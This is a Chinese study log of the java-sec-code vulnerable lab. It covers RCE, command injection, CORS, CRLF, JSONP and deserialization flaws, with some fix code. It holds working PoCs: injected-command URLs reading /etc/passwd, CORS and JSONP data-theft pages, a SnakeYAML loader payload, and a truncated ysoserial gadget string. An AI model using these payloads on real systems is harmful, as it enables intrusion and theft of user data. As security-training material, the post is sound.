2022年10月27日星期四

Java-sec-code学习记录

 

0x00 前言

​ 最近在搞Java类的代码审计,看到这个项目记录一下自己的学习过程

0x01环境配置

Mac os 11.2.2
tomcat 8.5
idea
msyql 8.0.70

导入idea项目配置本地tomcat

git clone https://github.com/JoyChou93/java-sec-code
cd java-sec-code
mvn clean package

打开浏览器访问127.0.0.1:8080

image-20210827091208429

image-20210827091208429

输入密码admin/admin123进行登陆

0x02 漏洞分析

1. Rce

Java命令执行的几种方式

1)Runtime 类执行系统命令

核心代码:

Process p = Runtime.getRuntime().exec("calc");

详细代码:

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Runtime1 {

public static void main(String[] args) {
try {
Process p = Runtime.getRuntime().exec("whoami");
InputStream input = p.getInputStream();
InputStreamReader ins = new InputStreamReader(input, "utf-8");
//InputStreamReader 字节流到字符流,并指定编码格式
BufferedReader br = new BufferedReader(ins);
//BufferedReader 从字符流读取文件并缓存字符
String line;
line = br.readLine();
System.out.println(line);
br.close();
ins.close();
input.close();

} catch (IOException e) {
e.printStackTrace();
}
}

}

通过Runtime类exec方法执行命令获取输入流getInputStream(),再InputStreamReader过渡到字符流,并指定gbk的编码格式。BufferedReader 再从字符输入流中读取文本并缓冲字符。再通过readLine()方法打印出结果。

访问http://localhost:8080/java_sec_code_war/rce/exec?cmd=whoami

image-20210827105713739

image-20210827105713739

查看Rce代码如下

public class Rce {

@GetMapping("/exec")
public String CommandExec(String cmd) {
Runtime run = Runtime.getRuntime();
StringBuilder sb = new StringBuilder();

try {
Process p = run.exec(cmd);
BufferedInputStream in = new BufferedInputStream(p.getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String tmpStr;

while ((tmpStr = inBr.readLine()) != null) {
sb.append(tmpStr);
}

if (p.waitFor() != 0) {
if (p.exitValue() == 1)
return "Command exec failed!!";
}

inBr.close();
in.close();
} catch (Exception e) {
return e.toString();
}
return sb.toString();
}
}

Idea调试情况如下

image-20210827111228112

image-20210827111228112

2)ProcessBuilder 类命令执行

ProcessBuilder类通过创建系统进程执行命令。

核心代码

ProcessBuilder builder = new ProcessBuilder("whoami");
Process process = builder.start();

详细代码:

import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;

public class ProcessBuilder1 {

public static void main(String[] args) {
try {
String[] cmds = new String[]{"/bin/bash","-c","whoami"};
ProcessBuilder builder = new ProcessBuilder(cmds);
Process process = builder.start();
InputStream in = process.getInputStream();
//获取输入流
InputStreamReader ins = new InputStreamReader(in, "utf-8");
// 字节流转化为字符流,并指定编码格式
char[] chs = new char[1024];
int len = ins.read(chs);
System.out.println(new String(chs,0,len));
ins.close();
in.close();

} catch (IOException e) {
e.printStackTrace();
}

}

}

通过ProcessBuilder类执行系统命令获取结果。注意将命令隔开,同样转化为字符流InputStreamReader,并指定编码格式。read方法读取该字符流。将结果转化为字符串进行输出。

打开http://localhost:8080/java_sec_code_war/rce/ProcessBuilder?cmd=whoami

image-20210827143330503

image-20210827143330503

Java-sec-code如下:

/**
* http://localhost:8080/rce/ProcessBuilder?cmd=whoami
* @param cmd cmd
*/
@GetMapping("/ProcessBuilder")
public String processBuilder(String cmd) {

StringBuilder sb = new StringBuilder();

try {
String[] arrCmd = {"/bin/sh", "-c", cmd};
ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);
Process p = processBuilder.start();
BufferedInputStream in = new BufferedInputStream(p.getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String tmpStr;

while ((tmpStr = inBr.readLine()) != null) {
sb.append(tmpStr);
}
} catch (Exception e) {
return e.toString();
}

return sb.toString();
}

Idea调试如下

image-20210827143456512

image-20210827143456512

3) 反射调用Processlmpl 类执行系统命令

Runtime和ProcessBuilder执行命令实际上调用了也是ProcessImpl类。对于该类,没有构造方法,只有一个private类型的方法。可以通过反射调用。

核心代码:

Class clazz = Class.forName("java.lang.ProcessImpl");
Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, Redirect[].class, boolean.class);
method.setAccessible(true);
Process e = (Process) method.invoke(null, new String[]{"calc"}, null, ".", null, true);

详细代码:

import java.io.ByteArrayOutputStream;
import java.lang.ProcessBuilder.Redirect;
import java.lang.reflect.Method;
import java.util.Map;

@SuppressWarnings("unchecked")
public class ProcessImpl1{
public static void main(String[] args) throws Exception {
String[] cmds = new String[]{"whoami"};
Class clazz = Class.forName("java.lang.ProcessImpl");
Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, Redirect[].class, boolean.class);
method.setAccessible(true);
Process e = (Process) method.invoke(null, cmds, null, ".", null, true);
byte[] bs = new byte[2048];
int readSize = 0;
ByteArrayOutputStream infoStream = new ByteArrayOutputStream();
while ((readSize = e.getInputStream().read(bs)) > 0) {
infoStream.write(bs, 0, readSize);
}
System.out.println(infoStream.toString());
}
}

从ProcessImpl类的class对象中获取到方法然后反射调用,获取字节输入流getInputStream的结果。ByteArrayOutputStream 创建字节数组缓冲区。read() 方法读取字节流大小,并写进缓冲区。最后将缓冲区结果转化为字符串,并指定utf-8编码格式输出。

4) 反射调用Runtime类执行系统命令

核心代码:

Class clazz = Class.forName("java.lang.Runtime");
Constructor constructor = clazz.getDeclaredConstructor();
constructor.setAccessible(true);
Object runtimeInstance = constructor.newInstance();
Method runtimeMethod = clazz.getMethod("exec", String.class);
Process process = (Process) runtimeMethod.invoke(runtimeInstance, "calc");

java.lang.Runtime类的无参构造方法私有的,可以通过反射修改方法的访问权限setAccessible,强制可以访问,然后获取类构造器的方法。再通过类加载newInstance()创建对象,反射再调用方法。

详细代码:

import java.io.ByteArrayOutputStream;
import java.lang.ProcessBuilder.Redirect;
import java.lang.reflect.Method;
import java.util.Map;

@SuppressWarnings("unchecked")
public class ProcessImpl1{
public static void main(String[] args) throws Exception {
String[] cmds = new String[]{"whoami"};
Class clazz = Class.forName("java.lang.ProcessImpl");
Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, Redirect[].class, boolean.class);
method.setAccessible(true);
Process e = (Process) method.invoke(null, cmds, null, ".", null, true);
byte[] bs = new byte[2048];
int readSize = 0;
ByteArrayOutputStream infoStream = new ByteArrayOutputStream();
while ((readSize = e.getInputStream().read(bs)) > 0) {
infoStream.write(bs, 0, readSize);
}
System.out.println(infoStream.toString());
}
}

5) JavaScript命令执行

javax.script.ScriptEngine类是java自带的用于解析并执行js代码,可以在javascript中执行java代码.

核心代码:

String str = "Jscode";
ScriptEngineManager manager = new ScriptEngineManager(null);
ScriptEngine engine = manager.getEngineByName("js");
engine.eval(str);

详细代码:

import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;
import javax.script.ScriptException;
public class Jsexec {
public static void main(String[] argv) throws ScriptException {
String str = "function test(){ return java.lang.Runtime};r=test();r.getRuntime().exec(\"open -a Calculator\");";
ScriptEngineManager manager = new ScriptEngineManager(null);
ScriptEngine engine = manager.getEngineByName("js");
engine.eval(str);
}
}

如上。可以成功弹出计算器,如果遇到关键字检测。还可以用注释和空格绕过。

image-20210827145640867

image-20210827145640867

查看Java-sec-code代码

/**
* http://localhost:8080/rce/jscmd?jsurl=http://xx.yy/zz.js
*
* curl http://xx.yy/zz.js
* var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");}
*
* @param jsurl js url
*/
@GetMapping("/jscmd")
public void jsEngine(String jsurl) throws Exception{
// js nashorn javascript ecmascript
ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);
String cmd = String.format("load(\"%s\")", jsurl);
engine.eval(cmd, bindings);
}

用Python本地起一个服务器,写入JS进行触发

image-20210827152848993

image-20210827152848993

6)Yaml反序列化命令执行

SnakeYaml是用来解析yaml的格式,可以用于Java对象的序列化、反序列化。

核心代码:

@GetMapping("/vuln/yarm")
public void yarm(String agrs) {
String content = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://o5s7wr.dnslog.cn\"]\n" +
" ]]\n" +
"]";
Yaml y = new Yaml();
y.load(content);
}

进行测试

image-20210827175118150

image-20210827175118150

使用师傅写好的利用脚本进行利用利用 https://github.com/artsploit/yaml-payload

打开并修改代码:

package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}

@Override
public String getEngineName() {
return null;
}

@Override
public String getEngineVersion() {
return null;
}

@Override
public List<String> getExtensions() {
return null;
}

@Override
public List<String> getMimeTypes() {
return null;
}

@Override
public List<String> getNames() {
return null;
}

@Override
public String getLanguageName() {
return null;
}

@Override
public String getLanguageVersion() {
return null;
}

@Override
public Object getParameter(String key) {
return null;
}

@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}

@Override
public String getOutputStatement(String toDisplay) {
return null;
}

@Override
public String getProgram(String... statements) {
return null;
}

@Override
public ScriptEngine getScriptEngine() {
return null;
}
}

整个脚本也都比较简单,就是实现了ScriptEngineFactory接口,然后调用Runtime.getRuntime().exec执行命令。

JavaSPI机制详解

使用Python搭建简单的WEB服务后进行利用

image-20210827180832145

image-20210827180832145

7)Groovy 命令执行

Groovy是一种基于JVM(Java虚拟机)的敏捷开发语言,它结合了Python、Ruby和Smalltalk的许多强大的特性,Groovy 代码能够与 Java 代码很好地结合,也能用于扩展现有代码。由于其运行在 JVM 上的特性,Groovy 可以使用其他 Java 语言编写的库。

可以使用GroovyShell类来执行任何Groovy脚本

代码如下:

/**
* http://localhost:8080/rce/groovy?content="open -a Calculator".execute()
* @param content groovy shell
*/
@GetMapping("/groovy")
public void groovyshell(String content) {
GroovyShell groovyShell = new GroovyShell();
groovyShell.evaluate(content);
}

进行利用如下:

image-20210827183410408

image-20210827183410408

2. CommandInject

命令行直接对请求参数进行拼接,可利用特殊字符分割执行其他命令

1.参数注入

代码如下:

/**
* http://localhost:8080/codeinject?filepath=/tmp;cat /etc/passwd
*
* @param filepath filepath
* @return result
*/
@GetMapping("/codeinject")
public String codeInject(String filepath) throws IOException {

String[] cmdList = new String[]{"sh", "-c", "ls -la " + filepath};
ProcessBuilder builder = new ProcessBuilder(cmdList);
builder.redirectErrorStream(true);
Process process = builder.start();
return WebUtils.convertStreamToString(process.getInputStream());
}

访问http://localhost:8080/java_sec_code_war/codeinject?filepath=/tmp;cat%20/etc/passwd

image-20210831100839084

image-20210831100839084

2.Host注入

在HTTP请求的host中命令执行

代码如下:

/**
* Host Injection
* Host: hacked by joychou;cat /etc/passwd
* http://localhost:8080/codeinject/host
*/
@GetMapping("/codeinject/host")
public String codeInjectHost(HttpServletRequest request) throws IOException {

String host = request.getHeader("host");
logger.info(host);
String[] cmdList = new String[]{"sh", "-c", "curl " + host};
ProcessBuilder builder = new ProcessBuilder(cmdList);
builder.redirectErrorStream(true);
Process process = builder.start();
return WebUtils.convertStreamToString(process.getInputStream());
}

dnslog进行测试

image-20210831103040958

image-20210831103040958

image-20210831103104271

image-20210831103104271

进行命令注入时失败:

image-20210831111452797

image-20210831111452797

查找半天原因之后发现

是tomcat的版本问题,tomcat7.9以上的版本,都不支持请求链接上带有特殊字符.否则会报400错误,
这是因为Tomcat严格按照 RFC 3986规范进行访问解析,而 RFC3986规范定义了Url中只允许包含英文字母(a-zA-Z)、数字(0-9)、-_.~4个特殊字符以及所有保留字符(RFC3986中指定了以下字符为保留字符:! * ’ ( ) ; : @ & = + $ , / ? # [ ])。

建议大家下一个低版本进行测试~

image-20210831120816642

image-20210831120816642

修复代码

@GetMapping("/codeinject/sec")
public String codeInjectSec(String filepath) throws IOException {
String filterFilePath = SecurityUtil.cmdFilter(filepath);
if (null == filterFilePath) {
return "Bad boy. I got u.";
}
String[] cmdList = new String[]{"sh", "-c", "ls -la " + filterFilePath};
ProcessBuilder builder = new ProcessBuilder(cmdList);
builder.redirectErrorStream(true);
Process process = builder.start();
return WebUtils.convertStreamToString(process.getInputStream());
}

增加了一个SecurityUtil.cmdFilter()进行过滤,command+点击cmdFilter进入cmdFilter函数查看

public static String cmdFilter(String input) {
if (!FILTER_PATTERN.matcher(input).matches()) {
return null;
}

return input;
}

继续跟进FILTER_PATTERN函数

private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$");

image-20210831142136765

image-20210831142136765

3. Broken Access Control

某些应用获取用户身份信息可能会直接从cookie中直接获取明文的nick,导致越权问题。具体写法可能有Cookies代码里的几种情况。

代码有如下几种情况:

/**
* 某些应用获取用户身份信息可能会直接从cookie中直接获取明文的nick或者id,导致越权问题。
*/
@RestController
@RequestMapping("/cookie")
public class Cookies {

private static String NICK = "nick";

@GetMapping(value = "/vuln01")
public String vuln01(HttpServletRequest req) {
String nick = WebUtils.getCookieValueByName(req, NICK); // key code
return "Cookie nick: " + nick;
}


@GetMapping(value = "/vuln02")
public String vuln02(HttpServletRequest req) {
String nick = null;
Cookie[] cookie = req.getCookies();

if (cookie != null) {
nick = getCookie(req, NICK).getValue(); // key code
}

return "Cookie nick: " + nick;
}


@GetMapping(value = "/vuln03")
public String vuln03(HttpServletRequest req) {
String nick = null;
Cookie cookies[] = req.getCookies();
if (cookies != null) {
for (Cookie cookie : cookies) {
// key code. Equals can also be equalsIgnoreCase.
if (NICK.equals(cookie.getName())) {
nick = cookie.getValue();
}
}
}
return "Cookie nick: " + nick;
}


@GetMapping(value = "/vuln04")
public String vuln04(HttpServletRequest req) {
String nick = null;
Cookie cookies[] = req.getCookies();
if (cookies != null) {
for (Cookie cookie : cookies) {
if (cookie.getName().equalsIgnoreCase(NICK)) { // key code
nick = cookie.getValue();
}
}
}
return "Cookie nick: " + nick;
}


@GetMapping(value = "/vuln05")
public String vuln05(@CookieValue("nick") String nick) {
return "Cookie nick: " + nick;
}


@GetMapping(value = "/vuln06")
public String vuln06(@CookieValue(value = "nick") String nick) {
return "Cookie nick: " + nick;
}

}

打开http://172.20.10.6:8080/java_sec_code_war/cookie/vuln01其中一个进行复现

image-20210901161038686

image-20210901161038686

4. Cors

跨域请求伪造,由于限制不严导致可以跨域请求敏感信息,一般结合XSS,CSRF等等漏洞进行攻击。

前端发起AJAX请求都会受到同源策略(CORS)的限制。发起AJAX请求的方法:

  • XMLHttpRequest
  • JQuery的$.ajax
  • Fetch

前端在发起AJAX请求时,同域或者直接访问的情况下,因为没有跨域的需求,所以Request的Header中的Origin为空。此时,如果后端代码是response.setHeader("Access-Control-Allow-Origin", origin),那么Response的header中不会出现Access-Control-Allow-Origin,因为Origin为空。

image-20210901162616408

image-20210901162616408

在这样配置可以去访问任何服务资源

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

可以用curl来验证

curl -i  $'GET' \
-H $'Origin: http://www.baidu.com' \
-b $'remember-me=YWRtaW46MTYzMTY5MTA4NTA2OTpkZWYwZTFiYjc2MmZhYzFiMzdjMDc2MzNiYjcxOGJkOQ; JSESSIONID=2F6ED87C606984C0547455D72FE2B9EE; XSRF-TOKEN=1536dc0b-8b8b-4955-b669-c5b9f9b4bd6d' \
$'http://172.20.10.6:8080/java_sec_code_war/cors/vuln/origin'

Java-sec-code需要cookie来利用无cooike的poc如下

GET:

<!DOCTYPE html>
<html>
<head>
<title>CORS TEST</title>
</head>
<body>
<div id='output'></div>
<script type="text/javascript">
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','http://vuln.com/xxxx',true);
//req.setRequestHeader("Content-Type","application/x-www-form-urlencoded;");
req.withCredentials = true;
req.send();
function reqListener() {
var output = document.getElementById('output');
output.innerHTML = "URL: http://vuln.com/xxxx<br><br>Response:<br><textarea style='width: 659px; height: 193px;'>" + req.responseText + "</textarea>";
};
</script>
</body>
</html>

POST:

<!DOCTYPE html>
<html>
<head>
<title>CORS TEST</title>
</head>
<body>
<div id='output'></div>
<script type="text/javascript">
var req = new XMLHttpRequest();
var data = "userId%3Dadmin";
req.onload = reqListener;
req.open('post','http://vuln.com/xxxx',true);
req.setRequestHeader("Content-Type","xxx");
req.withCredentials = true;
req.send(data);
function reqListener() {
var output = document.getElementById('output');
output.innerHTML = "URL: http://vuln.com/xxxx<br>Data: userId%3Dadmin<br><br>Response:<br><textarea style='width: 659px; height: 193px;'>" + req.responseText + "</textarea>";
};
</script>
</body>
</html>

核心代码如下:

private static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}";

@GetMapping("/vuln/origin")
public String vuls1(HttpServletRequest request, HttpServletResponse response) {
String origin = request.getHeader("origin");
response.setHeader("Access-Control-Allow-Origin", origin); // set origin from header
response.setHeader("Access-Control-Allow-Credentials", "true"); // allow cookie
return info;
}
@GetMapping("/vuln/setHeader")
public String vuls2(HttpServletResponse response) {
// 后端设置Access-Control-Allow-Origin为*的情况下,跨域的时候前端如果设置withCredentials为true会异常
response.setHeader("Access-Control-Allow-Origin", "*");
return info;
}

设置HTTP头,然后直接返回信息

修复方式如下:

/**
* 重写Cors的checkOrigin校验方法
* 支持自定义checkOrigin,让其额外支持一级域名
* 代码:org/joychou/security/CustomCorsProcessor
*/
@CrossOrigin(origins = {"joychou.org", "http://test.joychou.me"})
@GetMapping("/sec/crossOrigin")
public String secCrossOrigin() {
return info;
}


/**
* WebMvcConfigurer设置Cors
* 支持自定义checkOrigin
* 代码:org/joychou/config/CorsConfig.java
*/
@GetMapping("/sec/webMvcConfigurer")
public CsrfToken getCsrfToken_01(CsrfToken token) {
return token;
}


/**
* spring security设置cors
* 不支持自定义checkOrigin,因为spring security优先于setCorsProcessor执行
* 代码:org/joychou/security/WebSecurityConfig.java
*/
@GetMapping("/sec/httpCors")
public CsrfToken getCsrfToken_02(CsrfToken token) {
return token;
}


/**
* 自定义filter设置cors
* 支持自定义checkOrigin
* 代码:org/joychou/filter/OriginFilter.java
*/
@GetMapping("/sec/originFilter")
public CsrfToken getCsrfToken_03(CsrfToken token) {
return token;
}


/**
* CorsFilter设置cors。
* 不支持自定义checkOrigin,因为corsFilter优先于setCorsProcessor执行
* 代码:org/joychou/filter/BaseCorsFilter.java
*/
@RequestMapping("/sec/corsFilter")
public CsrfToken getCsrfToken_04(CsrfToken token) {
return token;
}


@GetMapping("/sec/checkOrigin")
public String seccode(HttpServletRequest request, HttpServletResponse response) {
String origin = request.getHeader("Origin");

// 如果origin不为空并且origin不在白名单内,认定为不安全。
// 如果origin为空,表示是同域过来的请求或者浏览器直接发起的请求。
if (origin != null && SecurityUtil.checkURL(origin) == null) {
return "Origin is not safe.";
}
response.setHeader("Access-Control-Allow-Origin", origin);
response.setHeader("Access-Control-Allow-Credentials", "true");
return LoginUtils.getUserInfo2JsonStr(request);
}

Cors和CSRF的区别

5.CRLFInjection

​ RLF是”回车+换行”(\r\n)(编码后是%0D%0A)的简称,在HTTP中,HTTP Header和HTTP Body是用两个CRLF来分割的。浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS。CRLF漏洞可以造成Cookie会话固定和反射型XSS(可过waf)的危害,注入XSS的利用方式:连续使用两次%0d%oa就会造成header和body之间的分离,就可以在其中插入xss代码形成反射型xss漏洞。

?url=http://baidu.com/xxx%0a%0dSet-Cookie: test123=123  // 恶意添加修改信息

​ 关于实战,这里有几个案例,可以学习一波。

  1. CRLF注入
  2. Bottle HTTP 头注入漏洞探究
  3. 案例

但这个问题实际上已经在所有的现在的java EE应用服务器上修复了。如果你想关注这个漏洞,你应该在目标平台测试是否允许将CRLF插入到HTTP头中。不出意外的话,这个漏洞已经在大部分的目前的应用服务器上修复了,无论是用什么语言编写的。

核心代码如下:

@RequestMapping("/crlf")
public class CRLFInjection {

@RequestMapping("/safecode")
@ResponseBody
public void crlf(HttpServletRequest request, HttpServletResponse response) {
response.addHeader("test1", request.getParameter("test1"));
response.setHeader("test2", request.getParameter("test2"));
String author = request.getParameter("test3");
Cookie cookie = new Cookie("test3", author);
response.addCookie(cookie);
}
}

访问http://localhost:8080/java_sec_code_war/crlf/safecode

?test1=111%0d%0ax&test2=111%0d%0a111

image-20210909095847712

image-20210909095847712

6.Jsonp

JSONP是实现跨域的一种技术,应用于Web站点需要跨域获取数据的场景。当开发者使用不当时,攻击者可以恶意利用jsonp劫持数据。

举例说明如下:

在 jQuery 中,可以通过使用JSONP 形式的回调函数来加载其他网域的JSON数据,如 "myurl?callback=?"。jQuery 将自动替换 ? 为正确的函数名,以执行回调函数。 
jQuery 会把?注册成window.? 的系统函数,然后映射调用。
一般用于跨域ajax请求,提供URL的一方会返回一个callback函数的JSON数据,然后回调时就能获取了。

请求的URL例子:
"myurl?callback=123123123" //这个123123就是?号,jquery自动生成的。
返回的数据例子:
123123123({“id”:"1","name":"张三"})

核心代码如下:

@ControllerAdvice
public class JSONPAdvice extends AbstractJsonpResponseBodyAdvice {

public JSONPAdvice() {
super("callback", "cback"); // callback的参数名,可以为多个
}
}

当有接口返回了Object(比如JSONObject或者JavaBean,但是不支持String),只要在参数中加入callback=testcback=test就会自动变成JSONP接口。比如下面代码:

@RequestMapping(value = "/advice", produces = MediaType.APPLICATION_JSON_VALUE)
public JSONObject advice() {
String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}";
return JSON.parseObject(info);
}

虽然上面代码指定了response的content-typeapplication/json,但是在AbstractJsonpResponseBodyAdvice类中会设置为application/javascript,提供给前端调用。

设置content-typeapplication/javascript的代码:

protected MediaType getContentType(MediaType contentType, ServerHttpRequest request, ServerHttpResponse response) {
return new MediaType("application", "javascript");
}

并且还会判断callback的参数只是否是有效的,代码如下:

private static final Pattern CALLBACK_PARAM_PATTERN = Pattern.compile("[0-9A-Za-z_\\.]*");

protected boolean isValidJsonpQueryParam(String value) {
return CALLBACK_PARAM_PATTERN.matcher(value).matches();
}

安全问题:

使用AbstractJsonpResponseBodyAdvice能避免callback导致的XSS问题,但是会带来一个新的风险:可能有的JSON接口强行被设置为了JSONP,导致JSON劫持。所以使用AbstractJsonpResponseBodyAdvice,需要默认校验所有jsonp接口的referer是否合法。

PS:

在Spring Framework 5.1,移除了AbstractJsonpResponseBodyAdvice类。Springboot 2.1.0 RELEASE默认使用spring framework版本5.1.2版本。也就是在SpringBoot 2.1.0 RELEASE及以后版本都不能使用该功能,用CORS替代。

https://docs.spring.io/spring/docs/5.0.x/javadoc-api/org/springframework/web/servlet/mvc/method/annotation/AbstractJsonpResponseBodyAdvice.html

Will be removed as of Spring Framework 5.1, use CORS instead.

1.前端调用代码的

  • 使用ajax的jsonp调用方式,运行后会弹框JoyChou
  • 使用script src方式,运行后会弹框JoyChou

使用ajax的jsonp调用方式代码:

<html>
<head>
<meta charset="UTF-8" />
<script src="https://cdn.bootcss.com/jquery/3.4.1/jquery.min.js"></script>
</head>
<body>
<script language="JavaScript">
$(document).ready(function() {
$.ajax({
url:'http://localhost:8080/jsonp/advice',
dataType:'jsonp',
success:function(data){
alert(data.name)
}
});
});
</script>
</body>
</html>

script src方式代码:

<html>

<script>
function aaa(data){
alert(JSON.stringify(data));
}
</script>
<script src=http://172.20.10.6:8080/java_sec_code_war/jsonp/vuln/referer?callback_=aaa></script>
</html>

script src方法 测试如下:

image-20210909105509839

image-20210909105509839

2.空Referer绕过

有时候开发同学为了测试方便,JSONP接口能直接访问,不直接访问做了Referer限制。正常来讲,前端发起的请求默认都会带着Referer,所以简单说下如何绕过空Referer。

核心代码:

@RequestMapping(value = "/vuln/emptyReferer", produces = "application/javascript")
public String emptyReferer(HttpServletRequest request) {
String referer = request.getHeader("referer");

if (null != referer && SecurityUtil.checkURL(referer) == null) {
return "error";
}
String callback = request.getParameter(this.callback);
return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request));
}

增加了对referer的检测我们可以使用如下方法进行绕过

1.添加no-referrer 参数

<html>
<meta name="referrer" content="no-referrer" /> //no-referrer
<script>
function test(data){
alert(JSON.stringify(data));
}
</script>
<script src=http://172.20.10.6:8080/java_sec_code_war/jsonp/vuln/emptyReferer?callback_=test></script>
</html>

2.使用iframe标签进行绕过

<html>
<meta name="referrer" content="no-referrer" />
<iframe src="javascript:'<script>function test(data){alert(JSON.stringify(data));}</script><script src=http://172.20.10.6:8080/java_sec_code_war/jsonp/vuln/emptyReferer?callback_=test></script>'">

</iframe>

</html>

测试如下:

image-20210909111157468

image-20210909111157468

修复代码:

@RequestMapping(value = "/sec/checkReferer", produces = "application/javascript")
public String safecode(HttpServletRequest request) {
String referer = request.getHeader("referer");

if (SecurityUtil.checkURL(referer) == null) {
return "error";
}
String callback = request.getParameter(this.callback);
return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request));
}

不管referer是否为null都进行判断

3.fastjsonp to jsonp

核心代码如下

@GetMapping(value = "/fastjsonp/getToken", produces = "application/javascript")
public String getCsrfToken2(HttpServletRequest request) {
CsrfToken csrfToken = cookieCsrfTokenRepository.loadToken(request); // get csrf token

String callback = request.getParameter("fastjsonpCallback");
if (StringUtils.isNotBlank(callback)) {
JSONPObject jsonpObj = new JSONPObject(callback);
jsonpObj.addParameter(csrfToken);
return jsonpObj.toString();
} else {
return csrfToken.toString();
}
}

测试如下:

image-20210909143444477

image-20210909143444477

7.Deserialize 序列化与反序列化

​ Java程序使用ObjectInputStream对象的readObject方法将反序列化数据转换为java对象。但当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。

核心代码:

/**
* java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64
* Add the result to rememberMe cookie.
* <p>
* http://localhost:8080/deserialize/rememberMe/vuln
*/
@RequestMapping("/rememberMe/vuln")
public String rememberMeVul(HttpServletRequest request)
throws IOException, ClassNotFoundException {

Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);

if (null == cookie) {
return "No rememberMe cookie. Right?";
}

String rememberMe = cookie.getValue();
byte[] decoded = Base64.getDecoder().decode(rememberMe);

ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);
ObjectInputStream in = new ObjectInputStream(bytes);
in.readObject();
in.close();

return "Are u ok?";
}

代码相对来说也比较简单使用Java程序中类ObjectInputStream的readObject方法被用来将数据流反序列化为对象,如果流中的对象是class,则它的ObjectStreamClass描述符会被读取,并返回相应的class对象,ObjectStreamClass包含了类的名称及serialVersionUID。

利用方式如下:

使用ysoserial.jar生成payload

╰─$ java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64
rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAUXQAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0c3EAfgALAAAAM3EAfgANcQB+AA5xAH4AD3NxAH4ACwAAACJ0ABl5c29zZXJpYWwuR2VuZXJhdGVQYXlsb2FkdAAUR2VuZXJhdGVQYXlsb2FkLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+AAd4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AGnhzcgA0b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmtleXZhbHVlLlRpZWRNYXBFbnRyeYqt0ps5wR/bAgACTAADa2V5cQB+AAFMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx